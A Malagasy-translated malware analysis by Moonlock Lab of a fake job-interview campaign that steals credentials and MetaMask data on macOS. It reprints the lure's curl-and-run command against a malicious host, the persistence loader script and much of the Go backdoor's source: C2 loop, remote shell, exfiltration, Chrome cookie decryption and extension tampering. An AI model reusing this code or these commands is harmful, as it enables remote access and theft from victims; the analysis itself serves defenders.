paint-brush
Mampiasa lisitra asa sandoka ny Cybercrooks mba hangalarana Cryptony@moonlock
2,662 HENOINA
2,662 HENOINA

Mampiasa lisitra asa sandoka ny Cybercrooks mba hangalarana Crypto

ny Moonlock (by MacPaw)19m2025/02/13
Read on Terminal Reader

Lava loatra; Mamaky

Ny fanentanana an-tserasera mitohy dia mikendry ireo mpitady asa amin'ny tranokala fanadihadiana sandoka, mamitaka azy ireo amin'ny fampidinana barebone nefa mandaitra be. Tsy toy ny malware be pitsiny izay mampiasa teknika fanakorontanana, ity fanafihana ity dia miankina amin'ny fahatsorana. Ny tena mampanahy kokoa dia ny fiezahany haka ny fahazoan-dàlana amin'ny fanitarana Chrome MetaMask mifandraika amin'ny cryptocurrency.
featured image - Mampiasa lisitra asa sandoka ny Cybercrooks mba hangalarana Crypto
Moonlock (by MacPaw) HackerNoon profile picture
0-item

Nosoratan'ny MacPaw's Moonlock Lab Team


Ny fanentanana an-tserasera mitohy dia mikendry ireo mpitady asa miaraka amin'ny tranokala fanadinadinana sandoka, mamitaka azy ireo amin'ny fampidinana barebones nefa mandaitra be. Tsy toy ny malware be pitsiny izay mampiasa teknika fanakorontanana, ity fanafihana ity dia miankina amin'ny fahatsoran'ny fanaterana kaody loharano miaraka amin'ny Go binary, ka mahatonga azy io ho cross-platform. Ny tena mampanahy kokoa dia ny fiezahany haka an-keriny ny fahazoan-dàlana amin'ny MetaMask fanitarana Chrome mifandraika amin'ny cryptocurrency, izay mety handany ny poketran'ireo niharam-boina.


Mijanona ho mavitrika ny fanentanana, miaraka amin'ireo sehatra vaovao miseho tsy tapaka mba hisarihana ireo niharam-boina. Maro ny mpikaroka momba ny fiarovana sy ny orinasa, toy ny SentinelOne , dmpdump , ary ENKI WhiteHat , namoaka fanadihadiana tsara. Nanao fikarohana tsy miankina ny ekipanay, ary ato amin'ity lahatsoratra ity dia mizara ny fikarohanay sy ny paikady fihazana izahay.


Ny ekipan'ny Moonlock Lab dia nanomboka nanara-maso ity malware ity tamin'ny 9 Oktobra 2024, rehefa nanomboka niseho ireo singa voalohany amin'ny varavarana aoriana. Ny backdoor dia karazana rindrambaiko mampidi-doza izay miafina amin'ny rafitra iray ary mamela ireo mpisehatra fandrahonana manatanteraka baiko avy lavitra, toy ny hoe izy ireo no tompon'ny toeram-piasana ara-dalàna. Ireo fanafihana ireo dia matetika mampiasa ny antsoina hoe C2 (Command and Control) lohamilina handefasana sy hanatanteraka baiko.


Ny mampiavaka an'io fanafihana io amin'ny hafa tsikaritray matetika dia misy dingana maromaro izy io ary natao hijanonana amin'ny masinin'ny niharam-boina fa tsy hampiasa fikorianan'ny angona tifitra tokana. Ny fijery feno momba ny dingana fanafihana dia azo jerena amin'ny sary etsy ambany.



Ny kofehy voalohany voarafitra tsara amin'ny X izay tsikaritray dia navoakan'i @tayvano_ , izay nizara vaovao momba ny fampielezan-kevitra mety hanimba izay mikendry voalohany indrindra ireo mpamorona rindrambaiko mitady asa amin'ny orinasa blockchain.


' Matetika dia manomboka amin'ny "mpikarama" avy amin'ny orinasa fantatra ohatra Kraken, MEXC, Gemini, Meta. Mahasarika ny salan-karama + fomba fandefasana hafatra—na dia ho an'ireo izay tsy mihaza asa aza. Amin'ny ankapobeny amin'ny alàlan'ny Linkedin. Eo koa ny tranokala freelancer, tranokala asa, tg, disadisa, sns.


Mba hahazoana ny kinova farany amin'ity malware ity dia ilaina ny manara-maso ireo sehatra vaovao mampiantrano tranokala fanadihadiana sandoka. Ho an'ity tanjona ity, ny ekipanay dia niantehitra tamin'ny tondro roa tsy miova izay zarain'ireto sehatra ireto:


  • Modely URL mitovy amin'ny "/video-questions/create/" arahin'ny kaody mafy:

Loharano: urlscan.io

  • Ny sary mitovy ( logo.png ) eo amin'ny pejy:

Loharano: urlscan.io


Na dia mikatona aza ny sasany amin'ireo sehatra ampiasaina mandritra ity fampielezan-kevitra ity, dia mbola mipoitra ihany ireo vaovao, miaraka amin'ny vaovao farany mbola an-tserasera: smarthiretop[.]online . Nahita sehatra mavitrika maherin'ny 20 ny ekipanay nanomboka tamin'ny Novambra 2024.

Rehefa avy nanadihady ireo sehatra izahay dia hitanay fa mitovy ny adiresy IP ny sasany amin'izy ireo. Matetika no mitranga izany satria ny mpanafika dia mampiasa mpamatsy fampiantranoana tsy misy bala, izay mamela sehatra maromaro hampiantranoina amin'ny lohamilina iray ihany. Fanampin'izany, ny fampiantranoana sehatra maro amin'ny IP tokana dia ahafahan'ny mpisehatra fandrahonana manodina sehatra tsy misy fanovana ny fotodrafitrasa backend.

Ity fotodrafitrasa ratsy ity dia ampiantranoina amin'ny serivisy isan-karazany zaraina maneran-tany. Araka ny aseho amin'ny sarintany etsy ambany, ny ankamaroan'ny mpizara dia any Etazonia, ary ny sasany miparitaka any amin'ny firenena hafa.


Ny baiko maloto izay nangatahana hotanterahin'ireo mpanao fanadihadiana dia manafina ao amin'ny varavarankely izay miseho rehefa mitsidika tranonkala maloto izy ireo. Kaody JS izy io, mitambatra ao anaty rakitra main.39e5a388.js amin'ity tranga ity. Ny anaran-drakitra toy izany dia matetika novolavolaina amin'ny alàlan'ny hashing na fanondro-tanana mandritra ny dingan'ny fananganana rindranasa tranonkala (Reference: https://urlscan.io/result/0ad23f64-4d61-49c8-8ed8-0d33a07419f4 ).


Ny iray amin'ireo pejy dia manana ity rakitra JS tafiditra ity miaraka amin'ity hash SHA256 manaraka ity:

  • f729af8473bf98f848ef2dde967d8d301fb71888ee3639142763ebb16914c803


Hitantsika mora foana fa ao anatin'ny rakitra JS naorina dia ireo baiko nasaina nampidirin'ireo niharam-boina:


Taorian'ny fahatakarana ny fomba nanaparitahan'ilay mpisehatra fandrahonana ny malware, ny tanjonay voalohany dia ny hitady santionany haingana sy hamorona sonia ho an'ireo mpampiasa anay. Ny filazana mivantana voalohany momba ny santionany "vonona famokarana" sy ny hashes SHA-256 izay hitanay dia tao amin'ity lohahevitra ity:

https://x.com/dimitribest/status/1873343968894689472 .


Anisan'izany ny hash dimy, izany hoe:

  • 96e78074218a0f272f7f94805cabde1ef8d64ffb *file.zip;
  • 86dea05a8f40cf3195e3a6056f2e968c861ed8f1 *nodejs.zip;
  • 321972e4e72c5364ec1d5b9e488d15c641fb1819 *nvidia-real.zip;
  • 3405469811bae511e62cb0a4062aadb523cad263 *VCam_arm64.zip;
  • c0baa450c5f3b6aacde2807642222f6d22d5b4bb *VCam_intel.zip.


Ho fanampin'izany, nanomboka naka sora-baventy ratsy toy ny voafitaka izahay mba hampidina azy ireo, mitovy amin'ireo niharam-boina. Tamin'ny fotoana iray, ity baiko manaraka ity dia nampiasaina tamin'ny tranokala fanadihadiana sandoka:

baiko avy amin'ny pikantsary (aza tanterahana!):

 sudo sh -c 'curl -k -o /var/tmp/ffmpeg.sh https://api.nvidia-release.org/ffmpeg-ar.sh && chmod +x /var/tmp/ffmpeg.sh && nohup bash /var/tmp/ffmpeg.sh >/dev/null 2>&1 &'


Izy io dia manao ny hetsika voatanisa etsy ambany:

  • Maka rakitra ffmpeg-ar.sh avy amin'ny api[.]nvidia-release[.]org;
  • Mitahiry azy ao amin'ny /var/tmp/ffmpeg.sh;
  • Manatanteraka ny rakitra ary mamindra ny vokatra rehetra amin'ny / dev / null hanafina azy amin'ny mpampiasa.


Ao anatin'ny rakitra ffmpeg.sh voatahiry ao anaty lahatahiry vonjimaika, dia afaka mahita ny fidirana amin'ity fanafihana ity isika, izay ahitana:

  • Misintona rakitra ZIP dingana faharoa miaraka amin'ny enta-mavesatra;
  • Fametrahana rakitra PLIST sy fisoratana anarana ho an'ny fikirizana;
  • Manao fanadiovana.


Araka ny hitantsika amin'ny script etsy ambany, dia natao manokana ho an'ny macOS izy io, na ny fiovaovan'ny Intel na ny ARM. Rehefa avy namaritra ny maodely CPU amin'izao fotoana izao, dia misintona rakitra ZIP misy rakitra marobe. Ny famerenana amin'ny antsipiriany bebe kokoa momba ity script ity dia azo jerena ao amin'ny ity blog ity , araka ny voalazan'i SentinelOne ao amin'ny tatitra vao haingana .

 #!/bin/bash # Define variables for URLs ZIP_URL_ARM64="https://api.nvidia-cloud.online/VCam1.update" ZIP_URL_INTEL="https://api.nvidia-cloud.online/VCam2.update" ZIP_FILE="/var/tmp/VCam.zip" # Path to save the downloaded ZIP file WORK_DIR="/var/tmp/VCam" # Temporary directory for extracted files EXECUTABLE="vcamservice.sh" # Replace with the name of the executable file inside the ZIP APP="ChromeUpdateAlert.app" # Replace with the name of the app to open PLIST_FILE=~/Library/LaunchAgents/com.vcam.plist # Path to the plist file # Determine CPU architecture case $(uname -m) in arm64) ZIP_URL=$ZIP_URL_ARM64 ;; x86_64) ZIP_URL=$ZIP_URL_INTEL ;; *) exit 1 ;; # Exit for unsupported architectures esac # Create working directory mkdir -p "$WORK_DIR" # Function to clean up cleanup() { rm -rf "$ZIP_FILE" } # Download, unzip, and execute if curl -s -o "$ZIP_FILE" "$ZIP_URL" && [[ -f "$ZIP_FILE" ]]; then unzip -o -qq "$ZIP_FILE" -d "$WORK_DIR" if [[ -f "$WORK_DIR/$EXECUTABLE" ]]; then chmod +x "$WORK_DIR/$EXECUTABLE" else cleanup exit 1 fi else cleanup exit 1 fi # Step 4: Register the service mkdir -p ~/Library/LaunchAgents cat > "$PLIST_FILE" <<EOL <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.vcam</string> <key>ProgramArguments</key> <array> <string>$WORK_DIR/$EXECUTABLE</string> </array> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <false/> </dict> </plist> EOL chmod 644 "$PLIST_FILE" if ! launchctl list | grep -q "com.vcam"; then launchctl load "$PLIST_FILE" fi # Step 5: Run ChromeUpdateAlert.app if [[ -d "$WORK_DIR/$APP" ]]; then open "$WORK_DIR/$APP" & fi # Final cleanup cleanup

Reference: VirusTotal


Ny votoatin'ny arisiva (dika ho an'ny Intel CPU) izay alaina amin'ny script dia voatanisa etsy ambany:

Ny rakitra rehetra ao amin'ny arisiva dia azo sokajiana ho vondrona vitsivitsy:

  • Ampahany amin'ny kaody loharano Go sy ny binary ( https://github.com/golang/go )
  • ChromeUpdateAlert.app – AppBundle misy binary Mach-O izay manangona ny IP sy ny tenimiafin'ny mpampiasa
  • Door backdoor Go-soratana sy mpangalatra
  • vcamservice.sh - Script izay mamoaka ny rakitra azo tanterahana miorina amin'ny Go


Mahaliana fa eo amin'ny 75 MB eo ho eo ny haben'ilay arisiva, indrindra satria misy ampahany maro amin'ny tranomboky sy binary Go ara-dalàna.

Famakafakana ny mpangalatra tenimiafina Mach-O

Ny iray amin'ireo rakitra hitanay fa nampiasaina nandritra ny fotoana maharitra tamin'ity fanafihana ity dia ny binary universel Mach-O miaraka amin'ny maritrano 2, antsoina hoe CameraAccess ( SHA256: 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e 3992c57e 3992c577e ).


Masquerade ho toy ny kisary Google Chrome izy io, mahatonga ny mpampiasa mahazatra hino fa ara-dalàna ilay rakitra ary manakana azy ireo tsy hamafa izany.

Ny kaody dia nosoratana tamin'ny Swift, ary tsy nisy teknika fanamafisam-peo matanjaka hita, izay mahatonga azy io ho mora ny mahatakatra ny fizotran'ny famonoana.

Mampiseho varavarankely toa ny varavarankely fampandrenesana rafitra izy io, mangataka ny mpampiasa hanome fidirana mikrofona, izay heverina fa nangatahana tamin'ny fampiharana Google Chrome.

Na dia misafidy ny "Remind Me Later" aza ny mpampiasa, dia mbola mipoitra ny varavarankely fampandrenesana tenimiafina.

Milaza ny fampiharana fa mitaky fidirana amin'ny mikrô; Na izany aza, dia misy sandbox, ary tsy misy fangatahana fahazoan-dàlana ho an'ny mikrô.

Rehefa miditra ny tenimiafina ny mpampiasa dia mangataka ny adiresy IP ivelany an'ny mpampiantrano azy ilay malware. Avy eo dia mandefa ny rakitra password.txt mankany amin'ny lahatahiry Dropbox nomena anarana avy amin'ny adiresy IP ivelany an'ny mpampiasa.

Ao amin'ny pikantsary etsy ambany dia azo jerena ny URL Dropbox API.

Eo am-pandinihana ny fifamoivoizana amin'ny tambazotra dia hitanay ny andrana haka ny adiresy IP ho an'ny daholobe an'ny niharam-boina.

Rehefa voaray ny adiresy IP, dia afaka mahita fangatahana amin'ny Dropbox izahay mba hampidirana mpivady IP-password amin'ny alàlan'ny fahazoan-dàlana henjana.

Nitatitra an'io tranga io tamin'ny Dropbox ny ekipanay, miaraka amin'ireo mari-pankasitrahana ampiasaina amin'ny fanatanterahana ity fampielezan-kevitra mamoafady ity.

Famakafakana ny backdoor nosoratan'i Go

Zava-dehibe ny manamarika fa ny rakitra ZIP alaina avy amin'ny script ffmpeg.sh dia misy ny kaody loharanon-tsoratra tsotra ao amin'ny backdoor, midika izany fa tsy voavolavola mialoha no tsy nofaritana. Nanafaingana ny famakafakana izany saingy nametraka fanontaniana momba ny fandraisan'anjaran'ny tena. Tsy ilaina ny milaza fa ny vondrona APT avy any DPRK dia mazàna be pitsiny kokoa.


Paikady hafa tsy mahazatra dia ny fampidirana ny binary Go ( /bin/go ) ao amin'ny arisiva fa tsy manangona ny code feno fotsiny. Na izany aza, satria ny Go dia tsy fampiharana default amin'ny rafitra fiasana maro, ireo mpisehatra fandrahonana dia mety nampiditra azy io mba hifanaraka tsara kokoa. Misy dikany izany raha jerena fa ny malware dia cross-platform ary mikendry macOS, Linux ary Windows amin'ny fotoana iray ihany.


Ny tabilao mampiseho ny fifandraisana sy ny famaritana amin'ny antsipiriany momba ny santionany tsirairay dia azo jerena eto: votoatin'ny

Toerana fidirana

Ao anatin'ilay arisiva dia misy script antsoina hoe vcamupdate.sh . Mihazakazaka avy hatrany izy io aorian'ny famoahana azy ary manatanteraka tsotra fotsiny /bin/go (izay atambatra ao amin'ny ZIP) rehefa mandalo ny lalana mankany amin'ny fampiharana Golang lehibe ( app.go amin'ity tranga ity).

 #!/bin/bash # Set the working directory to the folder where this script is located cd "$(dirname "$0")" echo "Installing Dependencies..." project_file="app.go" ./bin/go run "$project_file" exit 0


Ny fampiharana fidirana ( app.go ) dia tompon'andraikitra amin'ny famoronana UUID tokana ho an'ny toeram-piasan'ny mpampiasa, manomboka ny URL C2, ary manomboka ny loop lehibe. Ao amin'ny kaody dia afaka mahita fanehoan-kevitra tokana, fanontana hafatra fanohanana, ary fehezan-dalàna misy fanehoan-kevitra sasany. Ao anatin'izany koa ny URL izay mety ho natao fitiliana, hadino ny nesorin'ny mpamorona. Na dia tsy mitovy aza ny adiresy IP C2 ao amin'ny fampielezan-kevitra lehibe, ny santionany tamin'ny 2024 dia nizara fiasa mitovy ary nikendry angon-drakitra mitovy.


Taty aoriana ny antso ho amin'ny core.StartMainLoop(id, url) dia mitondra antsika any amin'ny lahatahiry fototra/ misy rakitra loop.go sy work.go. Ny rakitra loop.go dia tompon'andraikitra indrindra amin'ny fandraisana sy fanatanterahana ny baiko avy amin'ny C2, fiantsoana ireo submodules izay manangona angona saro-pady, ary mampakatra izany any amin'ny mpizara lavitra. Ahitana fiasa maro izy io, ka ny 8 amin'ireo no tiana hasongadina sy hojerena amin'ny antsipiriany kokoa.

Fampiasa StartMainLoop

Ity fampiasa ity dia mampiasa ny submodule config mba hanombohana ny baiko misy ary hihaino ireo izay miditra. Eto ambany ianao dia afaka mahita tabilao misy ny baiko rehetra miaraka amin'ny kaody mifanaraka aminy. Ny famakafakana amin'ny antsipiriany bebe kokoa momba ny fiasa backdoor dia azo jerena ao ity publication ity .

Anaran'ny baiko

Anarana voakodia

Description

COMMAND_INFO

qwer

Makà solon'anarana, mpampiantrano, OS, arch

COMMAND_UPLOAD

asdf

Ampidiro sy esory ny arisiva tsy misy dikany avy amin'ny C2 ho mpampiantrano

COMMAND_DOWNLOAD

zxcv

Ampidino amin'ny C2 ny angona nangalarina

COMMAND_OSSHELL

vbcx

Ampidiro ny shell interactive eo anelanelan'ny mpampiantrano sy C2 (manaova baiko lavitra tsy misy dikany)

COMMAND_AUTO

r4ys

Angony ho azy ny angona saropady

COMMAND_WAIT

ghdj

Miandrasa X segondra

COMMAND_EXIT

dghh

Hivoaka ny loop lehibe (apetraka velona=diso)

Miorina amin'ny baiko voaray avy amin'ny C2, dia hiantsoana asa mety.

 func StartMainLoop(id string, url string) { var ( msg_type string msg_data [][]byte msg string cmd string cmd_type string cmd_data [][]byte alive bool ) // initialize cmd_type = config.COMMAND_INFO alive = true for alive { func() { // recover panic state defer func() { if r := recover(); r != nil { cmd_type = config.COMMAND_INFO time.Sleep(config.DURATION_ERROR_WAIT) } }() switch cmd_type { case config.COMMAND_INFO: msg_type, msg_data = processInfo() case config.COMMAND_UPLOAD: msg_type, msg_data = processUpload(cmd_data) case config.COMMAND_DOWNLOAD: msg_type, msg_data = processDownload(cmd_data) case config.COMMAND_OSSHELL: msg_type, msg_data = processOsShell(cmd_data) case config.COMMAND_AUTO: msg_type, msg_data = processAuto(cmd_data) case config.COMMAND_WAIT: msg_type, msg_data = processWait(cmd_data) case config.COMMAND_EXIT: alive = false msg_type, msg_data = processExit() default: panic("problem") } msg = command.MakeMsg(id, msg_type, msg_data) cmd, _ = transport.HtxpExchange(url, msg) cmd_type, cmd_data = command.DecodeMsg(cmd) }() } }

Function processInfo

Ity fiasa ity dia hanangona fampahalalana momba ny rafitra fototra toy ny solon'anarana, anaran'ny mpampiantrano, dikan-teny OS ary maritrano. Tsara ny manamarika fa ny ankamaroan'ny infostealers malaza dia manangona fampahalalana momba ny rafitra bebe kokoa noho ity malware ity.

 func processInfo() (string, [][]byte) { user, _ := user.Current() host, _ := os.Hostname() os := runtime.GOOS arch := runtime.GOARCH print("user: " + user.Username + ", host: " + host + ", os: " + os + ", arch: " + arch + "\n") data := [][]byte{ []byte(user.Username), []byte(host), []byte(os), []byte(arch), []byte(config.DAEMON_VERSION), } return config.MSG_INFO, data }

Function processUpload

Amin'ity tranga ity, ny fampiakarana dia maneho ny dingan'ny fandefasana rakitra arisiva avy amin'ny C2 mankany amin'ny mpampiantrano voan'ny aretina, arahin'ny famotsorana azy. Izy io koa dia manondro raha nahomby ny decompression.

 func processUpload(data [][]byte) (string, [][]byte) { var log string var state string path := string(data[0]) buf := bytes.NewBuffer(data[1]) err := util.Decompress(buf, path) if err == nil { log = fmt.Sprintf("%s : %d", path, len(data[1])) state = config.LOG_SUCCESS } else { log = fmt.Sprintf("%s : %s", path, err.Error()) state = config.LOG_FAIL } return config.MSG_LOG, [][]byte{ []byte(state), []byte(log), } }

Function processDownload

Io fiasa io dia mifamadika amin'ilay teo aloha. Manamboatra lahatahiry misy rakitra voaangona mialoha ao amin'ny arsiva tar.gz izy io.

 func processDownload(data [][]byte) (string, [][]byte) { var file_data []byte var err error path := string(data[0]) _, file := filepath.Split(path) info, _ := os.Stat(path) if info.IsDir() { var buf bytes.Buffer err = util.Compress(&buf, []string{path}, false) file = fmt.Sprintf("%s.tar.gz", file) file_data = buf.Bytes() } else { file_data, err = os.ReadFile(path) } if err == nil { return config.MSG_FILE, [][]byte{[]byte(config.LOG_SUCCESS), []byte(file), file_data} } else { return config.MSG_FILE, [][]byte{[]byte(config.LOG_FAIL), []byte(err.Error())} } }

Function processOsShell

Ity dia fiasa izay tsy maintsy ananan'ny tena backdoor. Miandry baiko tsy misy dikany izy io ary manandrana manatanteraka izany. Ny baiko iray dia mety manana tohan-kevitra andalana baiko, ary ny vokatra dia alefa mivantana amin'ny C2.

 func processOsShell(data [][]byte) (string, [][]byte) { mode := string(data[0]) // mode timeout, _ := strconv.ParseInt(string(data[1]), 16, 64) shell := string(data[2]) args := make([]string, len(data[3:])) for index, elem := range data[3:] { args[index] = string(elem) } if mode == config.SHELL_MODE_WAITGETOUT { // wait and get result mode ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)) defer cancel() cmd := exec.CommandContext(ctx, shell, args...) out, err := cmd.Output() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), out, } } } else { // start and detach mode c := exec.Command(shell, args...) err := c.Start() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte(fmt.Sprintf("%s %s", shell, strings.Join(args, " "))), } } } }

Function processAuto

Io no idiran'ny halatra. Ity fiasa ity dia misy antso marobe amin'ny rakitra hita ao amin'ny auto/folder. Anisan'izany ny mpisambotra, mpanodina na mpanova ireto angona manaraka ireto:

  • Keychain
  • Data fidirana Chrome
  • Cookies Chrome
  • Chrome MetaMask fanitarana (fanalahidy, fahazoan-dàlana, sns.)
  • mombamomba Chrome
 func processAuto(data [][]byte) (string, [][]byte) { var ( msg_type string msg_data [][]byte ) mode := string(data[0]) switch mode { case config.AUTO_CHROME_GATHER: msg_type, msg_data = auto.AutoModeChromeGather() case config.AUTO_CHROME_PREFRST: msg_type, msg_data = auto.AutoModeChromeChangeProfile() case config.AUTO_CHROME_COOKIE: msg_type, msg_data = auto.AutoModeChromeCookie() case config.AUTO_CHROME_KEYCHAIN: msg_type, msg_data = auto.AutoModeMacChromeLoginData() default: msg_type = config.MSG_LOG msg_data = [][]byte{[]byte(config.LOG_FAIL), []byte("unknown auto mode")} } return msg_type, msg_data }

Fomba fiasa Miandrasa

Fampiasa fampiasa ampiasaina handefasana varavarana miverina amin'ny fomba fatoriana, miandry baiko fanampiny.

 func processWait(data [][]byte) (string, [][]byte) { duration, _ := strconv.ParseInt(string(data[0]), 16, 64) time.Sleep(time.Duration(duration)) send_data := make([]byte, 128) rand.Read(send_data) return config.MSG_PING, [][]byte{send_data} }

Function processExit

Ity dia fampiasa fampiasa ampiasaina hialana amin'ny tadivavarana lehibe amin'ny fifandraisana amin'ny C2.

 func processExit() (string, [][]byte) { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte("exited"), } }

Fampiharana ny fanangonana angon-drakitra Chrome

Ahitana andiana Go-apps ny auto/ folder:

  • fototra.go

     const ( userdata_dir_win = "AppData\\Local\\Google\\Chrome\\User Data\\" userdata_dir_darwin = "Library/Application Support/Google/Chrome/" userdata_dir_linux = ".config/google-chrome" extension_dir = "nkbihfbeogaeaoehlefnkodbefgpgknn" extension_hash_key = "protection.macs.extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" extension_setting_key = "extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" secure_preference_file = "Secure Preferences" logins_data_file = "Login Data" keychain_dir_darwin = "Library/Keychains/login.keychain-db" )
    • Eto isika dia afaka mahita tsy miova voafaritra miaraka amin'ny angon-drakitra kendrena horaisina, miharihary fa ny fanitarana MetaMask no tena ifantohana.
  • chrome_change_pref.go

     // get json string func getExtJsonString() string { return `{"active_permissions":{"api": ["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[], "scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]}, "commands":{"_execute_browser_action":{"suggested_key":"Alt+Shift+M","was_assigned":true}},"content_settings":[], "creation_flags":38,"events":[],"first_install_time":"13361518520188298","from_webstore":false, "granted_permissions":{"api":["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[],"scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]},"incognito_content_settings":[], "incognito_preferences":{},"last_update_time":"13361518520188298","location":4,"newAllowFileAccess":true,"path":"C:\\ProgramData\\11.16.0_0","preferences":{}, "regular_only_preferences":{},"state":1,"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}` }
     // chrome kill if runtime.GOOS == "windows" { cmd := exec.Command("cmd", "/c", "taskkill /f /im chrome.exe") cmd.Run() } else { cmd := exec.Command("/bin/sh", "-c", "killall chrome") cmd.Run() }
    • Mamono ny fizotran'ny Chrome rehetra amin'izao fotoana izao izy io, ary manova ny fahazoan-dàlana sasany amin'ny fanitarana MetaMask .
    • Ny fanefena JSON dia manolotra fihetsika mety hanimba ny fanitarana noho ny fahazoan-dàlana midadasika sy ny fomba fametrahana manual.
    • Ny fahazoan-dàlana " webRequest " dia mamela ny fanitarana hisakana sy hanova ny fangatahan'ny tambajotra, ahafahan'ny halatra data na fanafihana phishing. Ny fahazoan-dàlana " clipboardWrite " dia azo ampiasaina hisambotra sy hanova ny angon-drakitra clipboard, mety hangalatra adiresy na tenimiafina cryptocurrency.
    • Ny fizarana " scriptable_host ", izay ahitana " file:///* ", " https://*/* ", ary " http://*/* ", dia mamela ny famonoana script amin'ny tranokala rehetra sy ny fidirana amin'ny rakitra eo an-toerana, mamela ny fangalarana mari-pankasitrahana na ny famoahana angona tsy nahazoana alalana.
    • Ny fizarana " explicit_host " dia manome fahafahana miditra amin'ny sehatra mifandraika amin'ny cryptocurrency, toy ny https://*.infura.io/* sy https://*.cx.metamask.io/* , izay azo trandrahana hanodinana ny fifampiraharahana.
    • Ny " from_webstore ": saha sandoka dia manondro fa ny fanitarana dia napetraka amin'ny tanana na amin'ny fomba tsy nahazoana alalana, izay manondro ny mety ho fanodinkodinana. Ny saha " baiko " dia manome hitsin-dàlana amin'ny fitendry hampavitrika ny fanitarana, izay mety hiteraka fihetsika ratsy miafina.
    • Ireo anton-javatra mitambatra ireo dia manondro fa ny fanitarana dia azo ampiasaina amin'ny fidirana tsy nahazoana alalana, halatra data, na hosoka ara-bola.
  • chrome_cookie_darwin.go

     var ( SALT = "saltysalt" ITERATIONS = 1003 KEYLENGTH = 16 ) func getDerivedKey() ([]byte, error) { out, err := exec.Command( `/usr/bin/security`, `find-generic-password`, `-s`, `Chrome Safe Storage`, `-wa`, `Chrome`, ).Output() if err != nil { return nil, err } temp := []byte(strings.TrimSpace(string(out))) chromeSecret := temp[:len(temp)-1] if chromeSecret == nil { return nil, errors.New("Can not get keychain") } var chromeSalt = []byte("saltysalt") // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New) return key, nil }
    • Ampiasaina haka tenimiafina mifandraika amin'ny Google Chrome avy amin'ny fitahirizana eo an-toerana.
    • Manangona angona Keychain miaraka amin'ny fitahirizana fanampiny ao amin'ny gatherchain.tar.gz .
  • chrome_cookie_other.go

    • Toy izany koa fa ho an'ny Linux.
  • chrome_cookie_win.go

    • Toy izany koa fa ho an'ny Windows.
  • chrome_gather.go

     func AutoModeChromeGather() (string, [][]byte) { print("=========== AutoModeChromeGather ===========", runtime.GOOS, "\n") var ( buf bytes.Buffer userdata_dir string path_list []string ) // gather userdata_dir = getUserdataDir() // file system search _ = filepath.Walk(userdata_dir, func(path string, info os.FileInfo, err error) error { if info.Name() == extension_dir && strings.Contains(path, "Local Extension Settings") { path_list = append(path_list, path) } return nil }) _ = util.Compress(&buf, path_list, true) print("=========== End ===========\n") // return data := make([][]byte, 3) data[0] = []byte(config.LOG_SUCCESS) data[1] = []byte("gather.tar.gz") data[2] = buf.Bytes() msg_type := config.MSG_FILE return msg_type, data
    • Angony ny firafitry ny fanitarana eo an-toerana (raha misy ao amin'ny rafitra izy ireo) ary ampidiro ao amin'ny gather.tag.gz

Fehiny

Mba hamaranana ny famakafakantsika dia tsy maintsy manasongadina ireo hevi-dehibe indrindra isika:

  • Taorian'ny fangalarana tenimiafina nahomby, dia azo idirana lavitra amin'ny alalan'ny C2 ny toeram-piasan'ilay niharam-boina mba hangalatra angon-drakitra bebe kokoa, anisan'izany ny rakitra manokana izay voatahiry ao amin'ny rafitra. Mampidi-doza kokoa ity malware ity noho ireo mpangalatra mahazatra izay matetika mandeha amin'ny rafitra indray mandeha, tsy manangona afa-tsy ireo rakitra ao anaty lisitra.
  • Ny kaody backdoor dia nosoratana araka ny fomba fanao tsara indrindra amin'ny fandaharana, avela ho toy ny misy ny fanehoan-kevitra, izay mametraka fanontaniana misokatra momba ny antony tsy nanangona ny kaody mialoha.
  • Iray ihany ny fanitarana mifandraika amin'ny cryptocurrency no lasibatra, azo inoana fa miantehitra amin'ny fahazoana fidirana lavitra hikaroka amin'ny tanana ireo fitaovana crypto malaza hafa sy angon-drakitra saro-pady amin'ny rafitra.
  • Mbola mitohy ny fampielezan-kevitra, mampiseho fa mbola mandaitra ny paikadin’ireo mpisehatra fandrahonana ary tsy mila fanovana eo no ho eo. Na izany aza, mino izahay fa mety hipoitra tsy ho ela ny fanentanana mitovy amin'izany miaraka amin'ny fotodrafitrasa nohavaozina.

CIO

sehatra

